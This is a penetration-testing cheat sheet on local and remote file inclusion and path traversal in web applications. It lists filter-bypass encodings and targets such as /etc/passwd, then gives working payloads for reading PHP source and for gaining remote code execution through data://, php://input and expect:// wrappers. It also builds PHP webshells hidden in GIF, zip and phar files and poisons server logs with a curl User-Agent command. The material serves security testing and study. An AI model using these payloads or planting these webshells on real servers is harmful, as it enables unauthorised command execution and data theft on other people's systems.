# File Inclusion/Path Traversal

Ability to include files and resources within the web page via parameters (not correctly programmed).

## Tools

<table><thead><tr><th width="162">Tool</th><th>Details</th></tr></thead><tbody><tr><td><a href="https://github.com/mzfr/liffy">liffy</a></td><td>Test Local File Inclusion Vulnerabilities.<br><code>python3 liffy.py http://&#x3C;DOMAIN>/?&#x3C;PARAM>= &#x3C;OPTIONS></code></td></tr></tbody></table>

## Functions

{% tabs %}
{% tab title="PHP" %}
<table><thead><tr><th width="294">Function</th><th width="150">Read Content</th><th width="130">Execute</th><th>Remote URL</th></tr></thead><tbody><tr><td><code>include()</code>/<code>include_once()</code></td><td>✅</td><td>✅</td><td>✅</td></tr><tr><td><code>require()</code>/<code>require_once()</code></td><td>✅</td><td>✅</td><td>❌</td></tr><tr><td><code>file_get_contents()</code></td><td>✅</td><td>❌</td><td>✅</td></tr><tr><td><code>fopen()</code>/<code>file()</code></td><td>✅</td><td>❌</td><td>❌</td></tr></tbody></table>
{% endtab %}

{% tab title="NodeJS" %}
<table><thead><tr><th width="294">Function</th><th>Read Content</th><th>Execute</th><th>Remote URL</th></tr></thead><tbody><tr><td><code>fs.readFile()</code></td><td>✅</td><td>❌</td><td>❌</td></tr><tr><td><code>fs.sendFile()</code></td><td>✅</td><td>❌</td><td>❌</td></tr><tr><td><code>res.render()</code></td><td>✅</td><td>✅</td><td>❌</td></tr></tbody></table>
{% endtab %}

{% tab title="Java" %}
<table><thead><tr><th width="294">Function</th><th>Read Content</th><th>Execute</th><th>Remote URL</th></tr></thead><tbody><tr><td><code>include</code></td><td>✅</td><td>❌</td><td>❌</td></tr><tr><td><code>import</code></td><td>✅</td><td>✅</td><td>✅</td></tr></tbody></table>
{% endtab %}

{% tab title=".NET" %}
<table><thead><tr><th width="294">Function</th><th>Read Content</th><th>Execute</th><th>Remote URL</th></tr></thead><tbody><tr><td><code>@Html.Partial()</code></td><td>✅</td><td>❌</td><td>❌</td></tr><tr><td><code>@Html.RemotePartial()</code></td><td>✅</td><td>❌</td><td>✅</td></tr><tr><td><code>Response.WriteFile()</code></td><td>✅</td><td>❌</td><td>❌</td></tr><tr><td><code>include</code></td><td>✅</td><td>✅</td><td>✅</td></tr></tbody></table>
{% endtab %}
{% endtabs %}

## Local File Inclusion (LFI)

Files to try to read:

* <mark style="color:green;">Linux</mark>: `/etc/passwd`
* <mark style="color:blue;">Windows</mark>: `C:\Windows\boot.ini` or `C:\Windows\win.ini`

It is possible to try different payloads of [SecLists](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI), in particular [LFI-Jhaddix.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt).

### Bypassing Filters

<table data-header-hidden><thead><tr><th width="332"></th><th></th></tr></thead><tbody><tr><td><code>....//....//....//</code></td><td>Regex</td></tr><tr><td><code>%2e%2e%2f%2e%2e%2f</code></td><td>Encoding (<code>../../../../</code>)</td></tr><tr><td><code>%25%32%65%25%32%65%25%32%66</code></td><td>Double Encoding (<code>../../../../</code>)</td></tr><tr><td><code>../../&#x3C;FILE>%00.png</code></td><td>Null Byte (PHP &#x3C;5.5)</td></tr><tr><td><code>&#x3C;PATH>/../../&#x3C;FILE></code></td><td>Forced initial path</td></tr></tbody></table>

### Read Source PHP

If you include code that is interpreted and executed, but instead want to read the source, you can use [wrappers](https://www.php.net/manual/en/wrappers.php.php) and [filters](https://www.php.net/manual/en/filters.php).

```
php://filter/read=convert.base64-encode/resource=config.php
```

In particular try to read the main PHP configuration file: **`php.ini`**\
In this file you can see if `allow_url_include` is enabled.\
Is usually located in:&#x20;

* **Apache** : `/etc/php/X.Y/apache2/php.ini`&#x20;
* **Nginx**: `/etc/php/X.Y/fpm/php.ini`

Where **`X.Y`** is the installed PHP version (try brute force)

### RCE PHP

Require **`allow_url_include`**.

{% tabs %}
{% tab title="Data Wrapper" %}
Allows you to include external data, including php code and execute it.\
Possibility to pass it the code as base64.

{% code overflow="wrap" %}
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id
```
{% endcode %}
{% endtab %}

{% tab title="Input Wrapper" %}
Similar to the data wrapper but uses POST requests, useful in case the server only uses POSTs.

{% code overflow="wrap" %}
```
php://input + POST with data: '<?php system('<CMD>');?>'
```
{% endcode %}

{% code overflow="wrap" %}
```
php://input&cmd=id + POST with data: '<?php system($_GET["cmd"]);?>'
```
{% endcode %}
{% endtab %}

{% tab title="Expect Wrapper" %}
Dedicated to execute commands but it is external, it must have been installed manually.\
(Check the presence of `extension=expect` in `php.ini`)

{% code overflow="wrap" %}
```
expect://id
```
{% endcode %}
{% endtab %}
{% endtabs %}

## Remote File Inclusion (RFI)

The file is loaded from a remote server.\
In php this is **disabled** by default, require **`allow_url_include`**.

In <mark style="color:blue;">Windows</mark>, however, you can use **SMB** to enable the remote file **without** **`allowing_url_include`**. \
This is because Windows treats files on remote SMB servers as normal files, which can be referenced directly with a UNC path (`//server/share/file`). This technique is more likely to work if we were on the same network, since access to remote SMB servers over the Internet may be disabled by default, depending on Windows server configurations.

<table data-header-hidden><thead><tr><th width="161"></th><th></th></tr></thead><tbody><tr><td>RCE</td><td>If the included file is executed, a webshell can be created according to the language being used by the server and hosted by making it public. Then upload it via the RFI.</td></tr><tr><td><a href="ssrf">SSRF</a></td><td>Possible to apply SSRF techniques , such as port scanning etc.</td></tr></tbody></table>

## File Upload + LFI

If there is the presence of file uploads on the site (even non-vulnerable ones) combined with LFI with a function that executes, then it is possible to exploit the uploaded files to obtain RCE.

{% tabs %}
{% tab title="IMG" %}
Insert a real image (ex. `gif`) with simply a PHP piece containing the webshell inside.\
Upload the file, get the path and use it in the LFI.

{% code overflow="wrap" %}
```bash
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
```
{% endcode %}
{% endtab %}

{% tab title="ZIP" %}
In this case we should upload a zip.\
Create a webshell to wrap a zip file and upload the zip, then access it via the [zip wrapper](https://www.php.net/manual/en/wrappers.compression.php) in LFI. However, this wrapper is not enabled by default, and may not always work.

{% code overflow="wrap" %}
```bash
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
```
{% endcode %}

{% code overflow="wrap" %}
```
zip://<PATH_TO_ZIP>/<ZIP>#<FILE_IN_ZIP>
zip://<PATH_TO_ZIP>/shell.jpg%23shell.php&cmd=id
```
{% endcode %}
{% endtab %}

{% tab title="phar" %}
Similar result to the case with the ZIP, but via the [phar](https://www.php.net/manual/en/wrappers.phar.php) wrapper.

Write the following PHP script

{% code title="shell.php" overflow="wrap" %}
```php
<?php 
$phar = new Phar('shell.phar'); 
$phar->startBuffering(); 
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>'); 
$phar->setStub('<?php __HALT_COMPILER(); ?>'); 
$phar->stopBuffering();
```
{% endcode %}

This script can be compiled into a phar file which, when called, will write a web shell into a subfile `shell.txt`, which we can interact with.

Compilation and renaming in `shell.jpg`

{% code overflow="wrap" %}
```bash
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
```
{% endcode %}

{% code overflow="wrap" %}
```
phar://<PATH_TO_PHAR>/<PHAR>/<SUBFILE>  
phar://<PATH_TO_PHAR>/shell.jpg%2Fshell.txt&cmd=id
```
{% endcode %}
{% endtab %}
{% endtabs %}

## Log Poisoning

If the LFI functions have execution, you can try to poison the logs by injecting code (ex. `php`) and then reading them through the LFI.

{% tabs %}
{% tab title="PHPSESSID" %}
Cookies can contain user-specific information in the backend. Examine the log file via the LFI to see what information it contains, and whether it can be poisoned.

* <mark style="color:green;">Linux</mark>: `/var/lib/php/sessions/sess_<PHPSESSID>`&#x20;
* <mark style="color:blue;">Windows</mark>: `C:\Windows\Temp\sess_<PHPSESSID>`
{% endtab %}

{% tab title="Server Log" %}
Both **Apache** and **Nginx** maintain log files (access.log and error.log). access.log contains all requests made to the server, including User-agent, which can be manipulated by us. We use the latter to poison the logs. \
It is necessary to have read access to the logs.\
Nginx by default makes logs readable by low-privileged users (like `www-data`), while Apache logs are only readable by high-privileged users (except for old or badly configured versions).\
<mark style="color:red;">**!!!**</mark> Be aware that getting the payload wrong will block access to the logs.

`access.log` and `error.log` are located in:&#x20;

* Apache:&#x20;
  * <mark style="color:green;">Linux</mark>: `/var/log/apache2/`&#x20;
  * <mark style="color:blue;">Windows</mark>: `C:\xampp\apache\logs`
* Nginx:&#x20;
  * <mark style="color:green;">Linux</mark>: `/var/log/nginx/`&#x20;
  * <mark style="color:blue;">Windows</mark>: `C:\nginx\log\`
* They can change, see: [WORDLIST](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)

{% code overflow="wrap" %}
```bash
curl <URL> -A "<?php system(\$_GET['cmd']); ?>"
```
{% endcode %}

_The User-Agent also appears on process files in the Linux /proc/ directory. So, we can try to include the files /proc/self/environment/proc/self/fd/N (where N is a PID usually between 0 and 50) and we might be able to perform the same attack on these files. This might be useful if we don't have read access to the server logs, however, these files might only be readable by privileged users._
{% endtab %}

{% tab title="Other" %}
There are other similar log poisoning techniques that we could use on various system logs, depending on which logs we have read access to.

Some of the logs we could read:&#x20;

* `/var/log/sshd.log`&#x20;
* `/var/log/mail`&#x20;
* `/var/log/vsftpd.log`
{% endtab %}
{% endtabs %}
